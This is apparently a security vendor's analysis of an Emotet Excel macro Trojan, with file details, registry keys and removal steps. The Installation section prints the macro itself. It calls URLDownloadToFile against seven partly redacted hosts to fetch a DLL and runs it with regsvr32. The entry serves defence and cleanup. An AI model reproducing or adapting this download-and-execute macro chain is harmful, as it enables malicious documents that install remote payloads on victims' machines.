Analysis by: Charles Adrian Marty
ALIASES:

W97M/Dldr.Emotet.FA (ANTIVIR)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 50,114 bytes
File Type: XLS
Memory Resident: No
Initial Samples Received Date: 16 Mar 2022
Payload: Connects to URLs/IPs, Drops files, Modifies system registry

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan inserts malicious macro code in an Office application base template to execute the following commands:

  • CALL ("urlmon","URLDownloadToFile","JJCCBB",0,"http://www.{BLOCKED}p.com/ARIS-BSU/9K1/ ","..\fbd.dll",0,0)
  • IF(UJFD1<0, CALL("urlmon","URLDownloadToFile","JJCCBB",0,"http://www.{BLOCKED}ks.com/mail/0Z4GbaKuDTGprJ/ ","..\fbd.dll",0,0))
  • IF(UJFD2<0, CALL("urlmon","URLDownloadToFile","JJCCBB",0,"http://b{BLOCKED}nesl.com/catalog/iVsl6YvlyIyX/ ","..\fbd.dll",0,0))
  • IF(UJFD3<0, CALL("urlmon","URLDownloadToFile","JJCCBB",0,"https://{BLOCKED}academy.co.uk/blog/Qs8QZTp0Z6nKf9YjVBMS/ ","..\fbd.dll",0,0))
  • IF(UJFD4<0, CALL("urlmon","URLDownloadToFile","JJCCBB",0,"https://{BLOCKED}a.us/acme-challene/3NXwcYNCa/ ","..\fbd.dll",0,0))
  • IF(UJFD5<0, CALL("urlmon","URLDownloadToFile","JJCCBB",0,"https://{BLOCKED}bile-facile.fr/wp-admin/QV/ ","..\fbd.dll",0,0))
  • IF(UJFD6<0, CALL("urlmon","URLDownloadToFile","JJCCBB",0,"https://{BLOCKED}t.de/css/gqKtdKmTsC4iDh/ ","..\fbd.dll",0,0))
  • IF(UJFD7<0, CLOSE(0),)
  • EXEC("%Windows%\SysWow64\regsvr32.exe -s ..\fbd.dll")
  • RETURN()

Dropping Routine

This Trojan drops the following files:

  • %Users%\fbd.dll → Main payload
  • %Temporary Internet Files%\Content.IES\YEFGVF95\9K1[1].htm

(Note: %Temporary Internet Files% is the Temporary Internet Files folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temporary Internet Files on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Microsoft\Windows\Temporary Internet Files on Windows Vista, 7 and 2008(64-bit), or C:\Users\{user name}\AppData\Local\Microsoft\Windows\INetCache on Windows 8, 8.1, 2012(64-bit) and 10(64-bit).)

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://www.{BLOCKED}p.com/ARIS-BSU/9K1/fbd.dll
  • http://www.{BLOCKED}rks.com/mail/0Z4GbaKuDTGprJ/fbd.dll
  • http://{BLOCKED}nesl.com/catalog/iVsl6YvlyIyX/fbd.dll
  • https://{BLOCKED}academy.co.uk/blog/Qs8QZTp0Z6nKf9YjVBMS/fbd.dll
  • https://{BLOCKED}a.us/acme-challene/3NXwcYNCa/fbd.dll
  • https://{BLOCKED}bile-facile.fr/wp-admin/QV/fbd.dll
  • https://{BLOCKED}t.de/css/gqKtdKmTsC4iDh/fbd.dll

Other Details

This Trojan adds the following registry keys:

HKEY_CURRENT_USER\Software\Microsoft\
IMEMIP

HKEY_CURRENT_USER\Software\Microsoft\
IMEMIP\0x0409

HKEY_CURRENT_USER\Software\Microsoft\
IMEMIP\0x0409
Input data = Plain,Dotted,AppText,AppWindow,AppText

HKEY_CURRENT_USER\Software\Microsoft\
IMEMIP\0x0409
Target Converted = Plain,Single,White,DkBlue,DkBlue

HKEY_CURRENT_USER\Software\Microsoft\
IMEMIP\0x0409
Converted data = Plain,Dotted,DkBlue,AppWindow,AppText

HKEY_CURRENT_USER\Software\Microsoft\
IMEMIP\0x0409
TargetNotConverted = Plain,Single,DkBlue,AppWindow,AppText

HKEY_CURRENT_USER\Software\Microsoft\
IMEMIP\0x0409
InputError = Plain,Thick,AppText,AppWindow,Red

HKEY_CURRENT_USER\Software\Microsoft\
IMEMIP\0x0409
FixedConverted = Plain,AppText,AppWindow,AppText

It uses regsvr32.exe to register malicious DLLs:

  • %Windows%\SysWow64\regsvr32.exe -s..\fbd.dll

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 18.348.03
FIRST VSAPI PATTERN DATE: 28 Mar 2023
VSAPI OPR PATTERN File: 18.349.00
VSAPI OPR PATTERN Date: 28 Mar 2023

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\
    • IMEMIP

Step 4

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.

Step 5

Enable the macro virus protection in Microsoft Office Applications

[ Learn More ]

Step 6

Scan your computer with your Trend Micro product to delete files detected as Trojan.XF.EMOTET.EF. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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